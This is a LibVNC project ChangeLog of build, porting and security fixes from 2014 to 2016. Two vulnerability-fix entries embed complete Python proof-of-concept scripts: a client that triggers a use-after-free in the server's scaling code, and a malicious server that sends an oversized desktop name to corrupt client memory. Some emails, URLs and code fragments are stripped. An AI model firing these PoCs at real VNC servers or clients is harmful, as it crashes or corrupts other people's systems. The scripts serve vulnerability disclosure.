* libvncclient/rfbproto.c: Fix heap overflows in the various
rectangle fill functions Altough rfbproto.c does check whether the overall FramebufferUpdate
rectangle is too large, some of the individual encoding decoders do
not, which allows a malicious server to overwrite parts of the heap.
2016-09-24 Christian Beier <>
* : Merge pull request #129 from bkylerussell/systemd Support systemd socket activation
2016-08-14 Zac Medico <>
* libvncserver/sockets.c: Support autoPort with ipv4 or ipv6
disabled Make it possible to get autoPort behavior with either ipv4 or ipv6
disabled, by setting rfbScreen->ipv6port or rfbScreen->port to a
negative number. This will make it possible for x11vnc to enforce
its -noipv6 option, as discussed in the following bug report:
2016-06-21 Balazs Ludmany <>
* libvncclient/corre.c, libvncclient/hextile.c,
libvncclient/rfbproto.c, libvncclient/rre.c, libvncclient/tight.c,
libvncclient/ultra.c, libvncclient/vncviewer.c,
libvncclient/zlib.c, libvncclient/zrle.c, rfb/rfbclient.h: Add
function pointers for every type of rectangle
2016-06-05 Christian Beier <>
* NEWS: Update NEWS.
2016-06-05 Christian Beier <>
* rfb/rfbclient.h: Fix rfbClientSwap64IfLE broken in
2016-06-05 Christian Beier <>
* : Merge pull request #84 from plettix/master fix for issue 81
2016-05-30 Christian Beier <>
* CMakeLists.txt: CMake: Add maybe-found OpenSSL libs to
2016-05-30 Christian Beier <>
* CMakeLists.txt: CMake: Not all platforms have endian.h, so use the
build system's endianess check.
2016-05-30 Christian Beier <>
* rfb/rfbproto.h: Only include endian.h if present on system.
2016-05-30 Christian Beier <>
* : Merge pull request #105 from cgeorges82/master fix for issue #97. Also, this fixes cmake builds for other
2016-05-13 George Fleury <>
* libvncserver/sockets.c: Avoid calling SSL_pending when connection
is already closed Avoid calling SSL_pending when connection is already closed, calling
SSL_pending with connection already closed is crashing. To
reproduce, open a secure websocket binay protocol connection with
libvncserver compiled with OpenSSL, and when libvncserver is waiting
for rfbProcessClientProtocolVersion send any invalid char, it will
fail and call rfbCloseClient whith destroy all SSL context, calling
SSL_pending after that will generate a invalid access.
2016-04-24 Christian Beier <>
* : Merge pull request #103 from rdieter/master use namespaced vnc_max macro (issue #102)
2016-04-23 gbdj <>
* libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
rfb/rfbclient.h: libvncclient/tls_gnutls.c: Add hooks to
WriteToTLS() for optional protection by mutex. Fix upstream issue
#100 Squashed commit of the pull request #101 : commit
1c7e01e81862bc46508e675e83c74cc6d63224b0 commit
2016-02-18 Rex Dieter <>
* libvncclient/listen.c, libvncserver/httpd.c,
libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfbproto.h:
use namespaced rfbMax macro (issue #102) Not using generic 'max', avoids conflicts with stl_algobase.h
2016-04-15 Christian Beier <>
* : Merge pull request #115 from solofox/master Enable AF_UNIX socket: ignore setsockopt TCP_NODELAY failure.
2016-04-13 Christian Beier <>
* : Merge pull request #114 from zbierak/master Increase MAX_ENCODINGS value to accommodate more client encodings
2016-04-12 Christian Beier <>
* : Merge pull request #110 from AlexejStukov/patch-1 break statement out of case
2016-04-12 zbierak <>
* libvncclient/rfbproto.c: Fix buffer overflow when applying client
2016-04-12 Christian Beier <>
* travis.yml: TravisCI: remove old config.
2016-04-12 Christian Beier <>
* .travis.yml: TravisCI: add autoreconf step.
2016-04-12 Christian Beier <>
* .travis.yml: TravisCI: the config starts with a dot!
2016-04-12 Christian Beier <>
* README, Add a and and Travis CI status badge.
2016-04-12 Christian Beier <>
* travis.yml: Add a minimalistic config for Travis CI.
2016-04-08 Christian Beier <>
* : Merge pull request #109 from zbierak/master Fix memory access error in camera.c example
2016-04-04 zbierak <>
* examples/camera.c: Fix memory access error in camera.c example
2016-03-05 C<>dric Georges <>
* CMakeLists.txt, libvncclient/tls_gnutls.c: Append missing include
directory for GNUTLS and OPENSSL in CMake project Append support of
gnutls > v 2.99.01 (gnutls_transport_set_global_errno have a
different signature)
2016-03-05 C<>dric Georges <>
* CMakeLists.txt: re-up comment
2016-03-05 C<>dric Georges <>
* CMakeLists.txt, rfb/rfbconfig.h.cmake: Append IPv6 option in CMake
2016-01-27 Christian Beier <>
* : Merge pull request #99 from spaceone/master Ignore null pointers in FillRectangle() and
2016-01-27 SpaceOne <>
* libvncclient/rfbproto.c: Ignore null pointers in FillRectangle()
and CopyRectangleFromRectangle()
2015-12-03 Christian Beier <>
* rfb/rfbclient.h: Be a bit clearer with the cursorshape
documentation for libvncclient.
2015-12-03 Christian Beier <>
* libvncclient/cursor.c, rfb/rfbclient.h: Properly document
HandleCursorShape and GotCursorShapeProc.
2015-10-10 Christian Beier <>
* : Merge pull request #90 from stweil/fix Fix some recently introduced regressions
2015-10-10 Stefan Weil <>
* rfb/rfbproto.h: Fix definition of POSIX data types Commit 92f558482d94c5152174a1983a40863bd6b07911 added stdint.h to
get the type definitions, but included it after the first use of
int8_t in builds for Windows. Signed-off-by: Stefan Weil <>
2015-10-10 Stefan Weil <>
* rfb/rfbproto.h: Fix endianness detection Commit 97f442ef2aa65ade6bea11e90054c57b90abbaca tried to improve the
endianness detection, but introduced a typo and problems for Windows
builds (no endian.h, different definition of
LIBVNCSERVER_WORDS_BIGENDIAN). Fix both issues. Signed-off-by: Stefan Weil <>
2015-10-09 Stefan Weil <>
* ChangeLog, Doxyfile, NEWS, README, client_examples/vnc2mpg.c,
common/zywrletemplate.c, examples/camera.c, libvncclient/listen.c,
libvncclient/sockets.c, libvncserver/cargs.c, libvncserver/scale.c,
libvncserver/sockets.c, libvncserver/tight.c,
libvncserver/ultra.c, libvncserver/zlib.c, rfb/keysym.h, rfb/rfb.h,
rfb/rfbproto.h, webclients/java-applet/ssl/README,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js: Fix
some typos (found by codespell) Signed-off-by: Stefan Weil <>
2015-07-22 plettix <>
* common/md5.c: another shift fix
2015-07-22 plettix <>
* rfb/rfb.h, rfb/rfbclient.h: shift fixes - if an integer is a
negative number then the return value of "Swap32IfLE" was -1
2015-07-07 plettix <>
* libvncserver/websockets.c: fix for issue 81 use different buffers
for decode and encode
2015-05-28 Christian Beier <>
* CMakeLists.txt,, rfb/rfbproto.h: Instead of letting
the build system define endianess, rely on endian.h.
2015-05-28 Christian Beier <>
* .gitignore, CMakeLists.txt, Doxyfile,,,
libvncserver/, m4/ax_create_stdint_h.m4, rfb/rfbproto.h:
Do away with rfbint.h generation and use stdint.h directly instead.
2015-04-17 Christian Beier <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Re-add the
useful bits of 9aa9ac59b4cb10bfca93456a3098e348de172d7f.
2015-04-17 Christian Beier <>
* libvncclient/ Revert "Add libvncclient/h264.c to dist
tarball." This reverts commit 9aa9ac59b4cb10bfca93456a3098e348de172d7f.
2015-04-17 Christian Beier <>
* client_examples/gtkvncviewer.c,,
libvncclient/, libvncclient/h264.c,
libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbproto.h:
Revert "LibVNCClient: Add H.264 encoding for framebuffer updates" This reverts commit d891478ec985660c03f95cffda0e6a1ad4ba350c. Conflicts: libvncclient/h264.c
2015-04-17 Christian Beier <>
* : Merge pull request #70 from maxnet/master httpd: disallow directory traversal
2015-04-17 Christian Beier <>
* : Merge pull request #72 from lopago/fix-segfaults prevent segfaults due to uninitialized memory
2015-04-15 Thomas Anderson <>
* Use AC_CHECK_TOOL for cross-compiling
support. When cross-compiling the ar program has the appropriate prefix
prepended. Respect that here and have autotools autodetect the
appropriate tool.
2015-04-13 Benjamin D<>rholt <>
* libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: Changed C++
style comments to C ones
2015-04-10 Benjamin D<>rholt <>
* libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: prevent
2015-03-29 Floris Bos <>
* libvncserver/httpd.c: httpd: disallow directory traversal Signed-off-by: Floris Bos <>
2015-03-27 Jay Carlson <>
* libvncclient/rfbproto.c: Avoid divide-by-zero in raw encoding (OSX
RealVNC) OS X RealVNC server crashes out Remmina because the server can
provoke bytesPerLine to be zero. Assume this is coding for zero
lines. The condition could be checked before the calculation of
bytesPerLine. I dont understand the preconditions of this code
to say one way or the other.
2015-02-09 Peter Spiess-Knafl <>
* libvncclient/, libvncserver/ Set autotools
2015-02-05 Christian Beier <>
* : Merge pull request #63 from LibVNC/sha1rework Replace SHA1 implementation with the one from RFC 6234.
2015-01-27 Christian Beier <>
* : Merge pull request #60 from cinemast/master fixing SOVERSION and .so VERSION
2015-01-18 Christian Beier <>
* webclients/index.vnc: Update link to project home page in
2015-01-18 Christian Beier <>
* : Merge pull request #57 from maxnet/master Fix handling of multiple VNC commands per websockets frame
2015-01-16 Christian Beier <>
* : Merge pull request #56 from maxnet/master Only advertise xvp support when xvpHook is set
2015-01-06 Christian Beier <>
* AUTHORS: Add Floris to AUTHORS.
2015-01-06 Christian Beier <>
* NEWS: Update NEWS.
2015-01-02 Christian Beier <>
* : Merge pull request #51 from maxnet/master Initialize libgcrypt before use
2015-01-02 Christian Beier <>
* : Merge pull request #50 from maxnet/master tls_openssl.c: define _XOPEN_SOURCE for extra POSIX functionality
2014-12-30 Christian Beier <>
* libvncclient/sockets.c: Fix another MinGW64 build issue.
WSAEWOULDBLOCK is not MinGW-specific.
2014-12-30 Christian Beier <>
* libvncserver/rfbserver.c: Fix building with mingw-w64.
2014-12-30 Christian Beier <>
* Remove MinGW linker flag that's
incompatible with mingw-w64.
2014-12-30 Christian Beier <>
* pass cmdline params to configure call.
2014-12-29 Christian Beier <>
* : Merge pull request #49 from maxnet/master Fix libva related compile errors
2014-12-29 Floris Bos <>
*, libvncclient/h264.c: Fix libva related compile
errors - Make h264.c compile with recent libva version by including
va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when
--with-libva was specified, while actual behavior is to build it
by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos <>
2014-10-31 Christian Beier <>
* README: Add VNCpp to projects using LibVNC.
2014-10-21 Christian Beier <>
* ChangeLog: Update ChangeLog for 0.9.10.
2014-10-21 Christian Beier <>
* NEWS: Update NEWS.
2014-10-21 Christian Beier <>
* libvncserver/sockets.c: Update comments regarding
2014-10-21 Christian Beier <>
* libvncserver/scale.c: Fix Use-After-Free vulnerability in
LibVNCServer wrt scaling. Reported by Ken Johnson <>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor
and rfbSetScale cases in the rfbProcessClientNormalMessage function
of rfbserver.c. Sending a valid scaling factor is required
(non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not
accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg,
sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n",
msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale,
cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger
a free. return; at the end, both cases there is a call the rfbSendNewScaleSize
function, where if the connection is subsequently disconnected after
sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth =
Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth
= Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response
to a UltraVNC style frameuffer resize event (%dx%d)\n",
cl->scaledScreen->width, cl->scaledScreen->height); if
(rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead
to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is
called again on the return from rfbProcessClientNormalMessage. In
KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not
require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP =
[self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD =
(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python <host> <port>
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
2014-10-14 dscho <>
* : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation
2014-10-10 Christian Beier <>
* libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
related to the ServerInit message where the width, the height of the
server's framebuffer, its pixel format, and the name are sent to the
client. The name can be used in a malicious manner to trigger a
memory corruption in the client. Field Size --------------------------------- name-length
[4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was
tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the
program to hang but allows you to try to disconnect. After this it
hangs. Occasionally there will be segmentation fault in memcpy. This
can become more reliable if you connect to a different VNC server
first (Or the wrong port on the malicious server) then connecting to
the malicious port. Every time I accidentally made the wrong VNC
connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it
with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 =
conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02"
conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel =
0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM
= 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding =
"\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF +
"\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth,
frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM,
greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I",
nameLength) + nameString ) c.close()
2014-10-10 Christian Beier <>
* libvncclient/sockets.c: Fix potential memory corruption in
libvncclient. Fixes (maybe amongst others) the following oCERT report
([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious
msg.sct.length It looks like there may be a chance for potential memory corruption
when a LibVNCServer client attempts to process a Server Cut Text
message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); <<
Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); <<
Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible
to cause the malloc to fail, further leading to an attempt to write
2014-10-09 Christian Beier <>
* NEWS: Update NEWS for 0.9.10.
2014-10-09 Christian Beier <>
2014-10-07 dscho <>
* : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
autotools setup
2014-10-07 Johannes Schindelin <>
* Add back a working There was no reason to get rid of the convenient script. Most
developers who are not in love with autoconf fail to remember that
autoreconf invocation, therefore it is better to have something
working in place. Signed-off-by: Johannes Schindelin <>
2014-09-01 Nicolas Ruff <>
* libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
when processing the FileTime. Signed-off-by: Johannes Schindelin <>
2014-10-07 dscho <>
* : Merge pull request #41 from newsoft/master Fixing 2 security issues
2014-10-06 newsoft <>
* libvncserver/scale.c: Make sure that no integer overflow could
occur during scaling
2014-10-06 Christian Beier <>
* libvncclient/ Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile.
2014-10-03 Christian Beier <>
* m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting.
2014-10-02 Christian Beier <>
* : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited.
2014-10-02 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest
version from
2014-09-21 Brian Bidulock <>
* .gitignore: add a few more ignores
2014-09-21 Brian Bidulock <>
* removed - no longer applicable: use autoreconf -fiv
2014-10-02 Christian Beier <>
* INSTALL, acinclude.m4, Remove autotools-related files
that will get installed by autoreconf -i.
2014-10-02 Brian Bidulock <>
*, Use an m4 script subdirectory, fix
automake init and two macro names.
2014-10-02 Brian Bidulock <>
* client_examples/, examples/,
examples/android/, libvncclient/,
libvncserver/, test/ Rename obsolete INCLUDES
2014-09-30 Johannes Schindelin <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <>
2014-09-30 dscho <>
* : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build.
2014-09-30 dscho <>
* : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
These are UNIX headers, and are not available on MSVC
2014-09-20 Daniel Cohen Gindi <>
* rfb/rfb.h: Those are generally the windows headers, not just MinGW
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/rfbserver.c: On windows, use the Win32 calls for
directory enumerations. We also do not need the conversion between UNIX values to Windows
values in the RTF_FIND_DATA struct, as we already are on windows.
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/httpd.c, libvncserver/rfbserver.c,
libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers
for compiling on windows without the mixing of Winsock 1 and 2.
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/rfbserver.c: Just use a macro to bridge to the Win32
version of `mkdir` The additional compat_mkdir function was not necessary at all.
2014-09-20 Daniel Cohen Gindi <>
* compat/msvc/sys/time.h: Use correct `winsock2.h` version header
instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the
`WIN32_LEAN_AND_MEAN` is defined). The structs used in this header
are defined in `winsock2.h` or in `winsock.h`, but we are using
Winsock2 of course! So we have to include winsock2.h and refrain
from including windows.h here
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/httpd.c, libvncserver/rfbserver.c,
libvncserver/sockets.c: Fixed a violation of the C89 standard
("declarations must come before instructions")
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows
version for directory enumerations Basically taken from with
some adjustments
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also
has the __FUNCTION__ predefined
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c,
`CreateDirectory` might clash with the
`CreateDirectoryA`/`CreateDirectoryW` macros on MSVC
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when
NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program.
2014-09-20 Daniel Cohen Gindi <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and
`resolv.h` are not available on MSVC, and some POSIX functions are
renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a
macro mapping to the _underscored version of MSVC.
2014-09-09 Christian Beier <>
* client_examples/ The HAVE_X11 define is not there
anymore, but we don't need it either.
2014-09-09 Christian Beier <>
*,, vncterm/ChangeLog, vncterm/LinuxVNC.c,
vncterm/, vncterm/README, vncterm/TODO,
vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
vncterm/example.c, vncterm/vga.h: Move vncterm to
2014-09-09 Christian Beier <>
* VisualNaCro/.gitignore, VisualNaCro/AUTHORS,
VisualNaCro/ChangeLog, VisualNaCro/, VisualNaCro/NEWS,
VisualNaCro/README, VisualNaCro/,
VisualNaCro/, VisualNaCro/default8x16.h,
VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/
Move VisualNaCro to
2014-09-09 Christian Beier <>
* Move over to x11vnc
2014-09-03 Christian Beier <>
*, Remove x11vnc from autotools build
2014-09-03 Christian Beier <>
* tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove
2014-09-03 Christian Beier <>
* x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h,
x11vnc/ChangeLog, x11vnc/, x11vnc/README,
x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c,
x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h,
x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c,
x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h,
x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h,
x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE,
x11vnc/misc/, x11vnc/misc/README, x11vnc/misc/Xdummy,
x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch,
x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup,
x11vnc/misc/inet6to4, x11vnc/misc/,
x11vnc/misc/, x11vnc/misc/,
x11vnc/misc/rx11vnc, x11vnc/misc/, x11vnc/misc/shm_clear,
x11vnc/misc/, x11vnc/misc/turbovnc/,
x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h,
x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/,
x11vnc/misc/, x11vnc/misc/,
x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h,
x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h,
x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c,
x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c,
x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c,
x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h,
x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove
x11vnc subdir. The new x11vnc repo is at
2014-09-02 Johannes Schindelin <>
* libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c: Use Windows' critical sections to
emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
emulation library which is the reason we did not need
Windows-specific hacks earlier). Happily, it is very easy to provide
Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/zrle.c: Perform pointer arithmetic on char * instead
of void * Microsoft Visual C++ does not allow pointer arithmetic on void
pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
guards To support Microsoft Visual C++, we must not guard Windows-specific
code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
can use that instead. [JES: fixed commit message, reordered commit, split out unrelated
changes] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* compat/msvc/stdint.h, compat/msvc/sys/time.h,
compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from: can incorporate it because it is licensed under the 3-clause BSD
license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* libvncclient/rfbproto.c, libvncclient/sockets.c,
libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/vncviewer.c: Include Winsock2 header before windows.h
include That's because there are duplicate #defines, and when Winsock2 is
defined before windows.h then windows.h detects that and prevent
redefinition. See[JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
